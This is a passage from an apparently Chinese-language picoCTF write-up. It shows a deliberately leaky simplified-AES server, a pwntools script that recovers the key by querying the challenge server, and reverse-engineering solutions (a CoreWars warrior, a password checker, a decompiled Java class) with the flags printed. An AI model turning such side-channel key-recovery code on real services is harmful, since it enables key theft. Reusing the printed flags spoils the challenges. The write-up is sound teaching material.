32 lowercase hex characters comprising the 16-byte encryption key being used by the program.<br><strong>200 Points</strong></p></div><p>這題每次輸入不同的plaintext之後，就會獲得不同的數值，其意義是用來計算所有二進位中1的數量。但基於他的加密算法<code>encrypt()</code>過於簡單，如下所示：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">import</span> random, sys, time</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;key.txt&quot;</span>, <span class="string">&quot;r&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    SECRET_KEY = <span class="built_in">bytes</span>.fromhex(f.read().strip())</span><br><span class="line"></span><br><span class="line">Sbox = (</span><br><span class="line">    <span class="number">0x63</span>, <span class="number">0x7C</span>, <span class="number">0x77</span>, <span class="number">0x7B</span>, <span class="number">0xF2</span>, <span class="number">0x6B</span>, <span class="number">0x6F</span>, <span class="number">0xC5</span>, <span class="number">0x30</span>, <span class="number">0x01</span>, <span class="number">0x67</span>, <span class="number">0x2B</span>, <span class="number">0xFE</span>, <span class="number">0xD7</span>, <span class="number">0xAB</span>, <span class="number">0x76</span>,</span><br><span class="line">    <span class="number">0xCA</span>, <span class="number">0x82</span>, <span class="number">0xC9</span>, <span class="number">0x7D</span>, <span class="number">0xFA</span>, <span class="number">0x59</span>, <span class="number">0x47</span>, <span class="number">0xF0</span>, <span class="number">0xAD</span>, <span class="number">0xD4</span>, <span class="number">0xA2</span>, <span class="number">0xAF</span>, <span class="number">0x9C</span>, <span class="number">0xA4</span>, <span class="number">0x72</span>, <span class="number">0xC0</span>,</span><br><span class="line">    <span class="number">0xB7</span>, <span class="number">0xFD</span>, <span class="number">0x93</span>, <span class="number">0x26</span>, <span class="number">0x36</span>, <span class="number">0x3F</span>, <span class="number">0xF7</span>, <span class="number">0xCC</span>, <span class="number">0x34</span>, <span class="number">0xA5</span>, <span class="number">0xE5</span>, <span class="number">0xF1</span>, <span class="number">0x71</span>, <span class="number">0xD8</span>, <span class="number">0x31</span>, <span class="number">0x15</span>,</span><br><span class="line">    <span class="number">0x04</span>, <span class="number">0xC7</span>, <span class="number">0x23</span>, <span class="number">0xC3</span>, <span class="number">0x18</span>, <span class="number">0x96</span>, <span class="number">0x05</span>, <span class="number">0x9A</span>, <span class="number">0x07</span>, <span class="number">0x12</span>, <span class="number">0x80</span>, <span class="number">0xE2</span>, <span class="number">0xEB</span>, <span class="number">0x27</span>, <span class="number">0xB2</span>, <span class="number">0x75</span>,</span><br><span class="line">    <span class="number">0x09</span>, <span class="number">0x83</span>, <span class="number">0x2C</span>, <span class="number">0x1A</span>, <span class="number">0x1B</span>, <span class="number">0x6E</span>, <span class="number">0x5A</span>, <span class="number">0xA0</span>, <span class="number">0x52</span>, <span class="number">0x3B</span>, <span class="number">0xD6</span>, <span class="number">0xB3</span>, <span class="number">0x29</span>, <span class="number">0xE3</span>, <span class="number">0x2F</span>, <span class="number">0x84</span>,</span><br><span class="line">    <span class="number">0x53</span>, <span class="number">0xD1</span>, <span class="number">0x00</span>, <span class="number">0xED</span>, <span class="number">0x20</span>, <span class="number">0xFC</span>, <span class="number">0xB1</span>, <span class="number">0x5B</span>, <span class="number">0x6A</span>, <span class="number">0xCB</span>, <span class="number">0xBE</span>, <span class="number">0x39</span>, <span class="number">0x4A</span>, <span class="number">0x4C</span>, <span class="number">0x58</span>, <span class="number">0xCF</span>,</span><br><span class="line">    <span class="number">0xD0</span>, <span class="number">0xEF</span>, <span class="number">0xAA</span>, <span class="number">0xFB</span>, <span class="number">0x43</span>, <span class="number">0x4D</span>, <span class="number">0x33</span>, <span class="number">0x85</span>, <span class="number">0x45</span>, <span class="number">0xF9</span>, <span class="number">0x02</span>, <span class="number">0x7F</span>, <span class="number">0x50</span>, <span class="number">0x3C</span>, <span class="number">0x9F</span>, <span class="number">0xA8</span>,</span><br><span class="line">    <span class="number">0x51</span>, <span class="number">0xA3</span>, <span class="number">0x40</span>, <span class="number">0x8F</span>, <span class="number">0x92</span>, <span class="number">0x9D</span>, <span class="number">0x38</span>, <span class="number">0xF5</span>, <span class="number">0xBC</span>, <span class="number">0xB6</span>, <span class="number">0xDA</span>, <span class="number">0x21</span>, <span class="number">0x10</span>, <span class="number">0xFF</span>, <span class="number">0xF3</span>, <span class="number">0xD2</span>,</span><br><span class="line">    <span class="number">0xCD</span>, <span class="number">0x0C</span>, <span class="number">0x13</span>, <span class="number">0xEC</span>, <span class="number">0x5F</span>, <span class="number">0x97</span>, <span class="number">0x44</span>, <span class="number">0x17</span>, <span class="number">0xC4</span>, <span class="number">0xA7</span>, <span class="number">0x7E</span>, <span class="number">0x3D</span>, <span class="number">0x64</span>, <span class="number">0x5D</span>, <span class="number">0x19</span>, <span class="number">0x73</span>,</span><br><span class="line">    <span class="number">0x60</span>, <span class="number">0x81</span>, <span class="number">0x4F</span>, <span class="number">0xDC</span>, <span class="number">0x22</span>, <span class="number">0x2A</span>, <span class="number">0x90</span>, <span class="number">0x88</span>, <span class="number">0x46</span>, <span class="number">0xEE</span>, <span class="number">0xB8</span>, <span class="number">0x14</span>, <span class="number">0xDE</span>, <span class="number">0x5E</span>, <span class="number">0x0B</span>, <span class="number">0xDB</span>,</span><br><span class="line">    <span class="number">0xE0</span>, <span class="number">0x32</span>, <span class="number">0x3A</span>, <span class="number">0x0A</span>, <span class="number">0x49</span>, <span class="number">0x06</span>, <span class="number">0x24</span>, <span class="number">0x5C</span>, <span class="number">0xC2</span>, <span class="number">0xD3</span>, <span class="number">0xAC</span>, <span class="number">0x62</span>, <span class="number">0x91</span>, <span class="number">0x95</span>, <span class="number">0xE4</span>, <span class="number">0x79</span>,</span><br><span class="line">    <span class="number">0xE7</span>, <span class="number">0xC8</span>, <span class="number">0x37</span>, <span class="number">0x6D</span>, <span class="number">0x8D</span>, <span class="number">0xD5</span>, <span class="number">0x4E</span>, <span class="number">0xA9</span>, <span class="number">0x6C</span>, <span class="number">0x56</span>, <span class="number">0xF4</span>, <span class="number">0xEA</span>, <span class="number">0x65</span>, <span class="number">0x7A</span>, <span class="number">0xAE</span>, <span class="number">0x08</span>,</span><br><span class="line">    <span class="number">0xBA</span>, <span class="number">0x78</span>, <span class="number">0x25</span>, <span class="number">0x2E</span>, <span class="number">0x1C</span>, <span class="number">0xA6</span>, <span class="number">0xB4</span>, <span class="number">0xC6</span>, <span class="number">0xE8</span>, <span class="number">0xDD</span>, <span class="number">0x74</span>, <span class="number">0x1F</span>, <span class="number">0x4B</span>, <span class="number">0xBD</span>, <span class="number">0x8B</span>, <span class="number">0x8A</span>,</span><br><span class="line">    <span class="number">0x70</span>, <span class="number">0x3E</span>, <span class="number">0xB5</span>, <span class="number">0x66</span>, <span class="number">0x48</span>, <span class="number">0x03</span>, <span class="number">0xF6</span>, <span class="number">0x0E</span>, <span class="number">0x61</span>, <span class="number">0x35</span>, <span class="number">0x57</span>, <span class="number">0xB9</span>, <span class="number">0x86</span>, <span class="number">0xC1</span>, <span class="number">0x1D</span>, <span class="number">0x9E</span>,</span><br><span class="line">    <span class="number">0xE1</span>, <span class="number">0xF8</span>, <span class="number">0x98</span>, <span class="number">0x11</span>, <span class="number">0x69</span>, <span class="number">0xD9</span>, <span class="number">0x8E</span>, <span class="number">0x94</span>, <span class="number">0x9B</span>, <span class="number">0x1E</span>, <span class="number">0x87</span>, <span class="number">0xE9</span>, <span class="number">0xCE</span>, <span class="number">0x55</span>, <span class="number">0x28</span>, <span class="number">0xDF</span>,</span><br><span class="line">    <span class="number">0x8C</span>, <span class="number">0xA1</span>, <span class="number">0x89</span>, <span class="number">0x0D</span>, <span class="number">0xBF</span>, <span class="number">0xE6</span>, <span class="number">0x42</span>, <span class="number">0x68</span>, <span class="number">0x41</span>, <span class="number">0x99</span>, <span class="number">0x2D</span>, <span class="number">0x0F</span>, <span class="number">0xB0</span>, <span class="number">0x54</span>, <span class="number">0xBB</span>, <span class="number">0x16</span>,</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Leaks one bit of information every operation</span></span><br><span class="line">leak_buf = []</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">leaky_aes_secret</span>(<span class="params">data_byte, key_byte</span>):</span><br><span class="line">    out = Sbox[data_byte ^ key_byte]</span><br><span class="line">    leak_buf.append(out &amp; <span class="number">0x01</span>)</span><br><span class="line">    <span class="keyword">return</span> out</span><br><span class="line"></span><br><span class="line"><span class="comment"># Simplified version of AES with only a single encryption stage</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">encrypt</span>(<span class="params">plaintext, key</span>):</span><br><span class="line">    <span class="keyword">global</span> leak_buf</span><br><span class="line">    leak_buf = []</span><br><span class="line">    ciphertext = [leaky_aes_secret(plaintext[i], key[i]) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">16</span>)]</span><br><span class="line">    <span class="keyword">return</span> ciphertext</span><br><span class="line"></span><br><span class="line"><span class="comment"># Leak the number of 1 bits in the lowest bit of every SBox output</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">encrypt_and_leak</span>(<span class="params">plaintext</span>):</span><br><span class="line">    ciphertext = encrypt(plaintext, SECRET_KEY)</span><br><span class="line">    ciphertext = <span class="literal">None</span> <span class="comment"># throw away result</span></span><br><span class="line">    time.sleep(<span class="number">0.01</span>)</span><br><span class="line">    <span class="keyword">return</span> leak_buf.count(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">pt = <span class="built_in">input</span>(<span class="string">&quot;Please provide 16 bytes of plaintext encoded as hex: &quot;</span>)</span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(pt) != <span class="number">32</span>:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;Invalid length&quot;</span>)</span><br><span class="line">    sys.exit(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">pt = <span class="built_in">bytes</span>.fromhex(pt)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;leakage result:&quot;</span>, encrypt_and_leak(pt))</span><br></pre></td></tr></table></figure><p>因此我們可以很容易地窮舉出在固定plaintext的順序之下，每一位key(共256種，<code>0x00-0xff</code>)所對應的bit leak陣列為何，這裡是將<code>0x00-0xe</code>做為每次改動的plaintext，其餘設為0的條件下，只要將最後得到的整個plaintext陣列減去其中最小值，即可獲得單位key的bit leak，此時再將結果與前面所得到的窮舉比對，便能得到最後的key了。exploit如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">out=[]</span><br><span class="line"></span><br><span class="line">sb=[<span class="number">0x63</span>, <span class="number">0x7C</span>, <span class="number">0x77</span>, <span class="number">0x7B</span>, <span class="number">0xF2</span>, <span class="number">0x6B</span>, <span class="number">0x6F</span>, <span class="number">0xC5</span>, <span class="number">0x30</span>, <span class="number">0x01</span>, <span class="number">0x67</span>, <span class="number">0x2B</span>, <span class="number">0xFE</span>, <span class="number">0xD7</span>, <span class="number">0xAB</span>, <span class="number">0x76</span>,</span><br><span class="line">    <span class="number">0xCA</span>, <span class="number">0x82</span>, <span class="number">0xC9</span>, <span class="number">0x7D</span>, <span class="number">0xFA</span>, <span class="number">0x59</span>, <span class="number">0x47</span>, <span class="number">0xF0</span>, <span class="number">0xAD</span>, <span class="number">0xD4</span>, <span class="number">0xA2</span>, <span class="number">0xAF</span>, <span class="number">0x9C</span>, <span class="number">0xA4</span>, <span class="number">0x72</span>, <span class="number">0xC0</span>,</span><br><span class="line">    <span class="number">0xB7</span>, <span class="number">0xFD</span>, <span class="number">0x93</span>, <span class="number">0x26</span>, <span class="number">0x36</span>, <span class="number">0x3F</span>, <span class="number">0xF7</span>, <span class="number">0xCC</span>, <span class="number">0x34</span>, <span class="number">0xA5</span>, <span class="number">0xE5</span>, <span class="number">0xF1</span>, <span class="number">0x71</span>, <span class="number">0xD8</span>, <span class="number">0x31</span>, <span class="number">0x15</span>,</span><br><span class="line">    <span class="number">0x04</span>, <span class="number">0xC7</span>, <span class="number">0x23</span>, <span class="number">0xC3</span>, <span class="number">0x18</span>, <span class="number">0x96</span>, <span class="number">0x05</span>, <span class="number">0x9A</span>, <span class="number">0x07</span>, <span class="number">0x12</span>, <span class="number">0x80</span>, <span class="number">0xE2</span>, <span class="number">0xEB</span>, <span class="number">0x27</span>, <span class="number">0xB2</span>, <span class="number">0x75</span>,</span><br><span class="line">    <span class="number">0x09</span>, <span class="number">0x83</span>, <span class="number">0x2C</span>, <span class="number">0x1A</span>, <span class="number">0x1B</span>, <span class="number">0x6E</span>, <span class="number">0x5A</span>, <span class="number">0xA0</span>, <span class="number">0x52</span>, <span class="number">0x3B</span>, <span class="number">0xD6</span>, <span class="number">0xB3</span>, <span class="number">0x29</span>, <span class="number">0xE3</span>, <span class="number">0x2F</span>, <span class="number">0x84</span>,</span><br><span class="line">    <span class="number">0x53</span>, <span class="number">0xD1</span>, <span class="number">0x00</span>, <span class="number">0xED</span>, <span class="number">0x20</span>, <span class="number">0xFC</span>, <span class="number">0xB1</span>, <span class="number">0x5B</span>, <span class="number">0x6A</span>, <span class="number">0xCB</span>, <span class="number">0xBE</span>, <span class="number">0x39</span>, <span class="number">0x4A</span>, <span class="number">0x4C</span>, <span class="number">0x58</span>, <span class="number">0xCF</span>,</span><br><span class="line">    <span class="number">0xD0</span>, <span class="number">0xEF</span>, <span class="number">0xAA</span>, <span class="number">0xFB</span>, <span class="number">0x43</span>, <span class="number">0x4D</span>, <span class="number">0x33</span>, <span class="number">0x85</span>, <span class="number">0x45</span>, <span class="number">0xF9</span>, <span class="number">0x02</span>, <span class="number">0x7F</span>, <span class="number">0x50</span>, <span class="number">0x3C</span>, <span class="number">0x9F</span>, <span class="number">0xA8</span>,</span><br><span class="line">    <span class="number">0x51</span>, <span class="number">0xA3</span>, <span class="number">0x40</span>, <span class="number">0x8F</span>, <span class="number">0x92</span>, <span class="number">0x9D</span>, <span class="number">0x38</span>, <span class="number">0xF5</span>, <span class="number">0xBC</span>, <span class="number">0xB6</span>, <span class="number">0xDA</span>, <span class="number">0x21</span>, <span class="number">0x10</span>, <span class="number">0xFF</span>, <span class="number">0xF3</span>, <span class="number">0xD2</span>,</span><br><span class="line">    <span class="number">0xCD</span>, <span class="number">0x0C</span>, <span class="number">0x13</span>, <span class="number">0xEC</span>, <span class="number">0x5F</span>, <span class="number">0x97</span>, <span class="number">0x44</span>, <span class="number">0x17</span>, <span class="number">0xC4</span>, <span class="number">0xA7</span>, <span class="number">0x7E</span>, <span class="number">0x3D</span>, <span class="number">0x64</span>, <span class="number">0x5D</span>, <span class="number">0x19</span>, <span class="number">0x73</span>,</span><br><span class="line">    <span class="number">0x60</span>, <span class="number">0x81</span>, <span class="number">0x4F</span>, <span class="number">0xDC</span>, <span class="number">0x22</span>, <span class="number">0x2A</span>, <span class="number">0x90</span>, <span class="number">0x88</span>, <span class="number">0x46</span>, <span class="number">0xEE</span>, <span class="number">0xB8</span>, <span class="number">0x14</span>, <span class="number">0xDE</span>, <span class="number">0x5E</span>, <span class="number">0x0B</span>, <span class="number">0xDB</span>,</span><br><span class="line">    <span class="number">0xE0</span>, <span class="number">0x32</span>, <span class="number">0x3A</span>, <span class="number">0x0A</span>, <span class="number">0x49</span>, <span class="number">0x06</span>, <span class="number">0x24</span>, <span class="number">0x5C</span>, <span class="number">0xC2</span>, <span class="number">0xD3</span>, <span class="number">0xAC</span>, <span class="number">0x62</span>, <span class="number">0x91</span>, <span class="number">0x95</span>, <span class="number">0xE4</span>, <span class="number">0x79</span>,</span><br><span class="line">    <span class="number">0xE7</span>, <span class="number">0xC8</span>, <span class="number">0x37</span>, <span class="number">0x6D</span>, <span class="number">0x8D</span>, <span class="number">0xD5</span>, <span class="number">0x4E</span>, <span class="number">0xA9</span>, <span class="number">0x6C</span>, <span class="number">0x56</span>, <span class="number">0xF4</span>, <span class="number">0xEA</span>, <span class="number">0x65</span>, <span class="number">0x7A</span>, <span class="number">0xAE</span>, <span class="number">0x08</span>,</span><br><span class="line">    <span class="number">0xBA</span>, <span class="number">0x78</span>, <span class="number">0x25</span>, <span class="number">0x2E</span>, <span class="number">0x1C</span>, <span class="number">0xA6</span>, <span class="number">0xB4</span>, <span class="number">0xC6</span>, <span class="number">0xE8</span>, <span class="number">0xDD</span>, <span class="number">0x74</span>, <span class="number">0x1F</span>, <span class="number">0x4B</span>, <span class="number">0xBD</span>, <span class="number">0x8B</span>, <span class="number">0x8A</span>,</span><br><span class="line">    <span class="number">0x70</span>, <span class="number">0x3E</span>, <span class="number">0xB5</span>, <span class="number">0x66</span>, <span class="number">0x48</span>, <span class="number">0x03</span>, <span class="number">0xF6</span>, <span class="number">0x0E</span>, <span class="number">0x61</span>, <span class="number">0x35</span>, <span class="number">0x57</span>, <span class="number">0xB9</span>, <span class="number">0x86</span>, <span class="number">0xC1</span>, <span class="number">0x1D</span>, <span class="number">0x9E</span>,</span><br><span class="line">    <span class="number">0xE1</span>, <span class="number">0xF8</span>, <span class="number">0x98</span>, <span class="number">0x11</span>, <span class="number">0x69</span>, <span class="number">0xD9</span>, <span class="number">0x8E</span>, <span class="number">0x94</span>, <span class="number">0x9B</span>, <span class="number">0x1E</span>, <span class="number">0x87</span>, <span class="number">0xE9</span>, <span class="number">0xCE</span>, <span class="number">0x55</span>, <span class="number">0x28</span>, <span class="number">0xDF</span>,</span><br><span class="line">    <span class="number">0x8C</span>, <span class="number">0xA1</span>, <span class="number">0x89</span>, <span class="number">0x0D</span>, <span class="number">0xBF</span>, <span class="number">0xE6</span>, <span class="number">0x42</span>, <span class="number">0x68</span>, <span class="number">0x41</span>, <span class="number">0x99</span>, <span class="number">0x2D</span>, <span class="number">0x0F</span>, <span class="number">0xB0</span>, <span class="number">0x54</span>, <span class="number">0xBB</span>, <span class="number">0x16</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0xff</span>):</span><br><span class="line">    m=[]</span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">15</span>):</span><br><span class="line">        m.append(sb[j^i]&amp;<span class="number">0x01</span>)</span><br><span class="line">    out.append(m)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> out:</span><br><span class="line">    <span class="built_in">print</span>(i)</span><br><span class="line"></span><br><span class="line">flage=[]</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">16</span>):</span><br><span class="line">    n=[]</span><br><span class="line">    nn=[]</span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">15</span>):</span><br><span class="line">        payload=<span class="string">&#x27;&#x27;</span></span><br><span class="line">        payload+=<span class="string">&#x27;0&#x27;</span>*((<span class="number">15</span>-i)*<span class="number">2</span>+<span class="number">1</span>)</span><br><span class="line">        payload+=<span class="built_in">hex</span>(j)[<span class="number">2</span>:]</span><br><span class="line">        payload+=<span class="string">&#x27;0&#x27;</span>*i*<span class="number">2</span></span><br><span class="line">        r=remote(<span class="string">&#x27;saturn.picoctf.net&#x27;</span>,<span class="number">56284</span>)</span><br><span class="line">        r.recvuntil(<span class="string">&#x27;: &#x27;</span>)</span><br><span class="line">        r.sendline(payload.encode())</span><br><span class="line">        g=<span class="built_in">int</span>(r.recvline().strip()[<span class="number">16</span>:])</span><br><span class="line">        n.append(g)</span><br><span class="line">        r.close()</span><br><span class="line">    <span class="keyword">for</span> k <span class="keyword">in</span> n:</span><br><span class="line">        nn.append(k-<span class="built_in">min</span>(n))</span><br><span class="line">    <span class="built_in">print</span>(nn)</span><br><span class="line">    <span class="keyword">for</span> l <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0xff</span>):</span><br><span class="line">        <span class="keyword">if</span> out[l] == nn:</span><br><span class="line">            flage.append(l)</span><br><span class="line"></span><br><span class="line">flage.reverse()</span><br><span class="line"><span class="built_in">print</span>(flage)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;&#x27;</span>.join([<span class="built_in">hex</span>(i)[<span class="number">2</span>:] <span class="keyword">for</span> i <span class="keyword">in</span> flage]))</span><br></pre></td></tr></table></figure><h1 id="Reverse-Engineering"><a href="#Reverse-Engineering" class="headerlink" title="Reverse Engineering"></a>Reverse Engineering</h1><blockquote><p>CLEAR</p></blockquote><p>這次的Reverse是我兩個破台類別中的其中一個，十分欣慰，因為我最常打的就是Reverse類別了.w.希望以後Reverse可以越打越好!(但其他類別也要加強QAQ)</p><h2 id="Ready-Gladiator-0"><a href="#Ready-Gladiator-0" class="headerlink" title="Ready Gladiator 0"></a>Ready Gladiator 0</h2><div class="note success flat"><p>AUTHOR: LT ‘SYREAL’ JONES</p><p>Description<br>Can you make a CoreWars warrior that always loses, no ties?<br>Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the CoreWars server like this:<br><code>nc saturn.picoctf.net 64827 &lt; imp.red</code><br><strong>100 Points</strong></p></div><p>這題題目上大喇喇地寫著CoreWar，首要條件當然就是先知道CoreWar是甚麼囉XD他其實是一個多程式攻擊比賽，多個程式會同時在電腦上運行，並想辦法將其他程式打爛，留下自己。但這裡的CoreWar比較簡單，只要符合他的條件即可。這一題說我們要想辦法讓其中一個warrior 100連敗，沒有平手。因為他原本給的<code>imp.red</code>會造成100次平手，可想而知我們應該要改正他的指令。其實要讓自己100連敗並不是甚麼困難事，只要在遊戲中亂<code>mov</code>就相對容易達到了。以下是原始的指令：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$ cat imp.red</span><br><span class="line">;redcode</span><br><span class="line">;name Imp Ex</span><br><span class="line">;assert 1</span><br><span class="line">mov 0, 1</span><br><span class="line">end</span><br></pre></td></tr></table></figure><p>如果我們<code>mov</code>其他的東西呢?試試以下指令：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$ cat imp.red</span><br><span class="line">;redcode</span><br><span class="line">;name Imp Ex</span><br><span class="line">;assert 1</span><br><span class="line">mov 0, 0</span><br><span class="line">end</span><br></pre></td></tr></table></figure><p>可想而知的，我們成功拿到了100連敗，得到flag。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">$ nc saturn.picoctf.net 61590 &lt; imp.red</span><br><span class="line">;redcode</span><br><span class="line">;name Imp Ex</span><br><span class="line">;assert 1</span><br><span class="line">mov 0, 0</span><br><span class="line">end</span><br><span class="line">Submit your warrior: (enter &#x27;end&#x27; when done)</span><br><span class="line"></span><br><span class="line">Warrior1:</span><br><span class="line">;redcode</span><br><span class="line">;name Imp Ex</span><br><span class="line">;assert 1</span><br><span class="line">mov 0, 0</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line">Rounds: 100</span><br><span class="line">Warrior 1 wins: 0</span><br><span class="line">Warrior 2 wins: 100</span><br><span class="line">Ties: 0</span><br><span class="line">You did it!</span><br><span class="line">picoCTF&#123;h3r0_t0_z3r0_4m1r1gh7_e1610ed2&#125;</span><br></pre></td></tr></table></figure><h2 id="Reverse"><a href="#Reverse" class="headerlink" title="Reverse"></a>Reverse</h2><div class="note success flat"><p>AUTHOR: MUBARAK MIKAIL</p><p>Description<br>Try reversing this file? Can ya?<br>I forgot the password to this file. Please find it for me?<br><strong>100 Points</strong></p></div><p>這題是今年Reverse最簡單的題目，只要<code>strings</code>他就能在裡面找到flag了，但既然他是個password checker，我們還是逆向他一下吧。</p><p><img src="https://i.imgur.com/fBwZil2.png"></p><p>很明顯的，下面的xor會確認輸入是否一致，而他的password就是<code>v10-v14</code>的字串拼接，也就是flag的一部份…那麼我們就來輸入密碼獲得flag吧(心虛)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ ./ret</span><br><span class="line">Enter the password to unlock this file: picoCTF&#123;3lf_r3v3r5ing_succe55ful_2f0131a</span><br><span class="line">You entered: picoCTF&#123;3lf_r3v3r5ing_succe55ful_2f0131a</span><br><span class="line">Password correct, please see flag: picoCTF&#123;3lf_r3v3r5ing_succe55ful_2f0131a4&#125;</span><br><span class="line">picoCTF&#123;3lf_r3v3r5ing_succe55ful_2f0131a</span><br></pre></td></tr></table></figure><h2 id="Safe-Opener-2"><a href="#Safe-Opener-2" class="headerlink" title="Safe Opener 2"></a>Safe Opener 2</h2><div class="note success flat"><p>AUTHOR: MUBARAK MIKAIL</p><p>Description<br>What can you do with this file?<br>I forgot the key to my safe but this file is supposed to help me with retrieving the lost key. Can you help me unlock my safe?<br><strong>100 Points</strong></p></div><p>其實我不知道為什麼這題是2，但既然他給了就打開看看吧，裡面有一個<code>.class</code>檔案，有看我前幾篇發的Reverse Engineering基礎就知道，java的<code>.class</code>是可以被輕易decompile的吧～所以我們就用線上工具來逆向他，得到的原始碼如下，flag就在裡面：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.util.Base64;</span><br><span class="line"><span class="keyword">import</span> java.io.Reader;</span><br><span class="line"><span class="keyword">import</span> java.io.BufferedReader;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStreamReader;</span><br><span class="line"></span><br><span class="line"><span class="comment">// </span></span><br><span class="line"><span 